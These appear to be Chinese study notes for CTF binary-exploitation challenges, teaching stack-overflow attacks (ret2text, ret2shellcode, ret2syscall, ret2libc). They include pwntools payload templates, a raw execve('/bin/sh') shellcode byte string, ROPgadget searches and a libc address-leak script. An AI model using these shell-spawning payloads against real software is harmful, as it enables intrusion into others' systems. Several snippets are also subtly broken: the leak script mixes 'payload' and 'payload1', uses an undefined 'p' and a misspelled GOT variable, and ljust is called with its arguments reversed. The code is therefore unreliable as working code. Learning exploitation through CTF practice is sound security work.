查找对应溢出
一般的溢出内容是EIP
,因为EIP
寄存器存储着我们CPU
要读取指令的地址
可以通过 cyclic 数字
这个指令来获取判断溢出点的一个长度为输入的一个字符串,再通过gdb
调试观察EIP寄存器处的 4 位字符,通过指令cyclic -l 对应EIP的4位字符
,得到需要填充的溢出字符长度。
保护模式
NX:防止栈上执行 (需要利用到 bss 段)
Canary:检测是否发生栈溢出
Ret2text
通过计算溢出点的地址到对应返回的栈顶(ebp)的距离来进行溢出,同时要加上对应 ret 所占的 4 个字节。
对应 exp 构造模式:
1 2
| shellcode = 对应 /bin/sh/ 地址 payload = 'a'*[溢出点到栈顶距离] + 'A'*4 + p32/p64(shellcode)
|
Ret2shellcode
程序中没有出现 /bin/sh/ 地址需要自己构造,构造方式有两种:
-
23字节
1
| shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
|
-
44字节
1 2
| from pwn import * shellcode = asm(shellcraft.sh())
|
一般实现溢出方式类似于 ret2text ,不同的是需要使用 vmmap
检查对应的权限,同时也需要观察bss
(检查溢出点是否定义在 bss 段上)
对应 exp 构造模式:
1 2 3
| bss = bss对应的地址 shellcode = 构造一个shell payload = shellcode.ljust('a',溢出长度) + p32/p64(bss)
|
Ret2syscall
程序中同样没有出现 /bin/sh/ 地址需要自己构造,原理为把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们再执行 int 0x80 就可执行对应的系统调用(知识点Linux
下系统调用)。
学习链接:ret2syscall原理详解与实例分析
Syscall 调用规范 execve(“/bin/sh”, 0,0)
它对应的汇编代码为:
1 2 3 4 5
| pop eax# 系统调用号载入, execve为0xb pop ebx# 第一个参数, /bin/sh的string pop ecx# 第二个参数,0 pop edx# 第三个参数,0 int 0x80
|
寻找对应可以利用的 ret(gadgets)
可以使用 ropgadgets
这个工具
对应寻找步骤:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $ ROPgadget --binary 对应文件 --only 'pop|ret' | grep 'eax' //search eax 0x080bb196 : pop eax ; ret ------------------------------------------------------------------------------------------------------------------ $ ROPgadget --binary 对应文件 --only 'pop|ret' | grep 'ebx' //search ebx\edx\ecx 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret ------------------------------------------------------------------------------------------------------------------ $ROPgadget --binary 对应文件 --string '/bin/sh' //search 'bin/sh' Strings information ============================================================ 0x080be408 : /bin/sh ----------------------------------------------------------------------------------------------------------------- $ROPgadget --binary 对应文件 --only 'int' // search int 0x80 Gadgets information ============================================================ 0x08049421 : int 0x80
|
对应 exp 构造模式:
1 2 3 4 5 6
| pop_eax_ret = 可利用的 eax 的地址 pop_edx_ecx_ebx_ret = 可利用的 ebx、edx、ecx地址 int_0x80 = int 0x80 的地址 binsh = 'bin/sh' 的地址 payload = flat(['A' * 溢出长度, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) io.sendline(payload)
|
Ret2libc
ret2libc
即控制函数的执行 libc (Linux下C库)
中的函数,通常是返回至某个函数的 PLT
处或者函数的具体位置 ( 即函数对应的 got 表项的内容 )。一般情况下,我们会选择执行 system("/bin/sh")
。
学习链接:GOT表和PLT表知识详解
含有 system 和 /bin/sh
一般函数中含有 /bin/sh
、system
函数时构造对应的 exp 构建模式为:
1 2 3
| binsh_addr = /bin/sh/ 的地址 system_plt = system 函数的地址 payload = flat(['a' * 溢出长度, system_plt,'b' * 4,binsh_addr])
|
需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。
不含有 /bin/sh
如果函数中不含有 /bin/sh
时,我们需要在bss
段上自己构建一个/bin/sh
此时 exp 构造模式为:
1 2 3 4 5 6
| system_plt = system 函数地址 gets_addr = 溢出点函数地址 buf_addr = bss 段上变量地址 payload = flat(['a' * 溢出长度,gets_addr,system_plt,buf_addr,buf_addr]) io.sendline(payload) io.sendline('/bin/sh')
|
对应的栈分布为:
- gets地址
- system地址(也是gets的返回地址)
- buf2(是gets的参数)
- buf2(是system的参数)
或者:
寻找一个 pop:
1 2 3
| ROPgadget --binary ret2libc2 --only 'pop|ret'| grep 'ebx' 0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804843d : pop ebx ; ret
|
之后的 exp 构造模式:
1 2 3 4 5 6 7
| system_plt = system 函数地址 pop_ebx = ret ebx 的地址 gets_addr = 溢出点函数地址 buf_addr = bss 段上变量地址 payload = flat(['a' * 溢出长度,gets_addr,pop_ebx,system_plt,'A'*4,buf_addr]) io.sendline(payload) io.sendline('/bin/sh')
|
对应的栈分布为:
- gets地址
- pop ebx ;ret地址
- buf2(gets的参数)
- system地址
- system的返回地址(‘AAAA’)
- buf2(system的参数)
在调用gets函数后,把参数buf2给pop掉,这样返回地址就变成了system,就会返回到system。
不含有 System 和 /bin/sh
两个都没有给出的话需要自己寻找对应版本的 libc
泄露函数地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * io=process('./') elf=ELF('./') puts_plt = elf.plt['puts'] libc_start_main_got = elf.got['__libc_start_main'] main = elf.symbols['main'] puts_got = elf.got['puts']
print "leak libc_start_main_got addr and return to main again" payload = 'a' * 溢出长度 + p32(puts_plt) + p32(main) +p32(libc_start_main_go)
io.sendline(payload1)
print "get the related addr" libc_start_main_addr = u32(p.recv()[0:4]) print("addr:" + hex(libc_start_main_addr))
|
对应构造 exp 模式为:
1 2 3 4
| system_addr = 找到对应 libc 版本后 system 的地址 binsh_addr = 找到对饮 libc版本后 /bin/sh 的地址 payload = flat(['A' * 溢出长度(需要用 cyclic 重新测试), system_addr, 0xdeadbeef, binsh_addr]) sh.sendline(payload)
|
一共需要两次 exp的编写,便可以完成对没有/bin/sh
与system
的ret2libc
题目